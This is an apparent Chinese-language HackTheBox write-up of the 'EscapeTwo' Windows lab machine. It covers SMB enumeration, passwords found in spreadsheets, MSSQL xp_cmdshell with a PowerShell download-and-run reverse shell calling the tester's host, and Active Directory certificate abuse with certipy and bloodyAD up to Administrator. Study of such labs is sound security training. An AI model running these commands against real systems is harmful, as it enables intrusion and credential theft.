> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# EscapeTwo HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**技能：**

* SMB 枚举
* 信息密码泄露（zip、Excel 文件）
* MSSQL（Microsoft SQL）利用 RCE
* BloodHound 枚举
* WriteOwner CA/\_SVC 用户（权限提升）
  {% endhint %}

在这个 Windows 环境渗透测试中，我们有以下凭据：

* 用户名： `rose`
* 密码： `KxEPkKe6R8su`

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/66704b5b571d6f8776a45fe8bfb865ba01e7f4d9" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/66704b5b571d6f8776a45fe8bfb865ba01e7f4d9" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="/files/5a294b2b3c785a9cdf4a54ca4b66794dea14af1f" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到 `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` 剪贴板

<figure><img src="/files/cb10e3565f17b23ced43cf31432537e2d3fa4d89" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="/files/d03898301f36c0922526a4d92eb1908c840b28ae" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cfd64c73861255c9807c33bd5be4eab064768518" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/510234d23b88c8f4ab36c949233c1e5246079f75" alt="" width="563"><figcaption></figcaption></figure>

### 445 端口 - SMB

**使用 CrackMapExec 验证用户**

我们确认 `rose` 该用户存在于域控制器（DC）上：

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="/files/dd2f3eb172d55a63446a4c7a5700bbd3ef74170c" alt=""><figcaption></figcaption></figure>

**探索 SMB 共享**

我们使用 `--shares` 命令：

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**结果**：可以看到两个有趣的文件夹：

* `Users`
* `会计部门`

<figure><img src="/files/d7bb3c2be51627e812936376bc092a15f6b428ca" alt=""><figcaption></figcaption></figure>

/*/* 使用 smbclient/连接到 SMB 共&#x4EAB;*/*

我们访问 **会计部门**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

在这个目录中，我们找回了两个 Excel 文件：

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="/files/4651928dd03c915c9b0768b259c15ccf899456e5" alt=""><figcaption></figcaption></figure>

**文件格式识别**

通过 `文件` 使用该命令，我们确定这些文件实际上是 ZIP 压缩包。

<figure><img src="/files/cc749797e0b7438641eb7ac419199dd90abf6d8e" alt=""><figcaption></figcaption></figure>

**ZIP 文件解压**

我们解压提取出的文件：

<figure><img src="/files/128727ad61b98d4248090de73d8eebeb0bd70695" alt=""><figcaption></figcaption></figure>

**搜索敏感信息**

我们筛选提取出的文件，查找包含关键词 **密码**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="/files/c76936bfcedfa9c5c1154a124cfcb1a4a9cd3800" alt=""><figcaption></figcaption></figure>

**结果**：一个名为 `shareStrings.xml` 包含一份用户和密码列表。

<img src="/files/575133f42ce058de036e29e6a42db3631fdf9cb9" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">名字</th><th width="135">姓氏</th><th width="174">电子邮件</th><th width="107">用户名</th><th>密码</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**使用 CrackMapExec 测试 ID**

我们使用恢复出的凭据验证账户：

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**结果**：只有 `oscar` 用户有效。

<figure><img src="/files/66a736d9f9b21cd3d273daaf353c2e5b884313e0" alt=""><figcaption></figcaption></figure>

## MSSQL（Microsoft SQL）利用

**端口 1433（MSSQL）**

1433 端口开放，这表明有一个 Microsoft SQL 服务器正在监听。我们将使用先前恢复出的不同用户测试连接。

<figure><img src="/files/db6c6085702dfab9d4dd88a0c4e91d6a671eccff" alt=""><figcaption></figcaption></figure>

**MSSQL 连接测试**

我们使用 `mssqlclient.py` 尝试连接：

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/65503ac4af56ad76d7e8d521aa370072ecb201b8" alt=""><figcaption></figcaption></figure>

**结果**：只有用户 `sa` 可用。

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/9bae78c3bb1f8b876ca0cbab23851eb61e46cffb" alt=""><figcaption></figcaption></figure>

### 通过 MSSQL 获取反向 Shell

**启用命令执行**

为执行系统命令，我们启用 `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

然后我们用一个简单命令测试，比如 `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/d078e158118269452cc61ad14d70b0298d937cb3" alt=""><figcaption></figcaption></figure>

**在本机上准备监听**

我们在 4444 端口启动一个监听器：

```bash
rlwrap nc -nvlp 4444
```

**下载一个 PowerShell 脚本**

我们正在准备一个名为 `PS.ps1` 的 PowerShell 脚本，其中包含一个反向 shell 命令。在脚本末尾，我们添加如下这一行：

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾，我们添加如下这一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

我们在本地 Web 服务器上托管此脚本：

```bash
python3 -m http.server 80
```

**反向 shell 执行**

从 MSSQL 服务器上，我们执行以下命令来下载并运行 PowerShell 脚本：

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/771a7070c97ef756a98186a49d05bc869d9fb239" alt=""><figcaption></figcaption></figure>

## 切换到 Ryan 用户

**发现新凭据**

通过探索系统，我们发现了一个名为 **SQL2019** 的目录，位于根目录下。在其中，我们找到了以下凭据：

* 用户名： `ryan`
* 密码： `WqSZAF6CysDQbGb3`

<figure><img src="/files/13208fb157bafe78db4e12f047fad04157274efb" alt=""><figcaption></figcaption></figure>

**使用 CrackMapExec 验证 ID**

我们检查这些凭据是否有效：

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/2a8a0f97e11ae08c435c3972c30765bca5f84b76" alt=""><figcaption></figcaption></figure>

通过探索共享目录，我们识别出一个名为 `ryan`。我们对 `sql_svc`:

<figure><img src="/files/95408c8fe9ba6eec2746c951d5f084aa16b26890" alt=""><figcaption></figcaption></figure>

**结果**使用相同的凭据进行测试：这些 ID 对用户 `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/2d56e09dcbecc98e567f960d2f6e4e1f4809b028" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/9433172b11749fa93f26d40d85e021694fd13801" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/84de106ecce3af3af7e35b58402a2ee061685ce5" alt=""><figcaption></figcaption></figure>

## 权限提升

### BloodHound-python 枚举

使用的命令：

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="/files/f520bbcf2a5b658f55c7047ce04e69159169283d" alt=""><figcaption></figcaption></figure>

## WriteOwner：

**观察：**/ 该 **Ryan** 用户拥有 `WriteOwner` 在……中的授权 **CA/ SVC** 账户，该账户同时也是证书颁发者。这意味着我们可以修改该账户的所有者 **CA/ SVC** 以关联 **Ryan**.

<figure><img src="/files/cc0a11bd15120c3e82a593aba1010fbb5a1207d5" alt=""><figcaption></figcaption></figure>

### 使用 BloodyAD 接管 CA/\_SVC

#### 更改账户所有者

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

该命令使用 BloodyAD 修改 **CA/ SVC** 并将其指定为 **Ryan**. 作为所有者， **Ryan** 现在可以更改与该账户关联的权限。

### 使用 Dacledit 修改权限

#### 向 Ryan 授予完全权限

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

该命令修改 **DACL** （自主访问控制列表） **CA/ SVC** 账户，以授予完全控制权给 **Ryan**。这使 Ryan 能够重置密码或操纵认证密钥。

<figure><img src="/files/68bd67b28c99964f02945b779eaab44caf17217a" alt=""><figcaption></figcaption></figure>

### Shadow Credentials 提取

#### 生成并恢复 NT 哈希指纹

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/127d09a4257ec9cfc570f8622a95cf71361f8df0" alt=""><figcaption></figcaption></figure>

CA/\_SVC 的 NT 哈希 **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

该 **Certipy** 命令为 **CA/ SVC**生成一个身份密钥，从而启用基于证书的身份验证。还会生成一个 `.ccache` 文件，这便于基于 Kerberos 的攻击。

### 修改证书模板

#### 调整 DunderMifflinAuthentication 模板

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="/files/5b81ac4644f9e29f0dcd78efc1c270dfc7a2246e" alt=""><figcaption></figcaption></figure>

该命令修改 **DunderMifflinAuthentication** 证书模板，以允许签发高权限证书。

### 为管理员签发证书

#### 请求一个用于冒充的证书

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/7a4d381359d0766059d775345b5d4c442e5b579b" alt=""><figcaption></figcaption></figure>

该命令需要代表 Administrator（`Administrator@sequel.htb`）申请证书，从而可以冒用该账户身份。

### 以 Administrator 身份进行身份验证

#### 使用证书进行认证

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="/files/825361d03ef3f321f828054dae51c6a4fbf1c887" alt=""><figcaption></figcaption></figure>

**NTLMv2 哈希：** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="/files/ad834308708faba0be41f75a8479df81d84a164e" alt=""><figcaption></figcaption></figure>

该命令使用先前获得的证书以 Administrator 身份进行认证，并恢复 NTLM 哈希。

### root.txt flag :)

<figure><img src="/files/ede4979233e8e48d52a2b9d0c4cec37288bebe1e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/bf120fbb61ea591acedea2e41dff778026f4f1e0" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
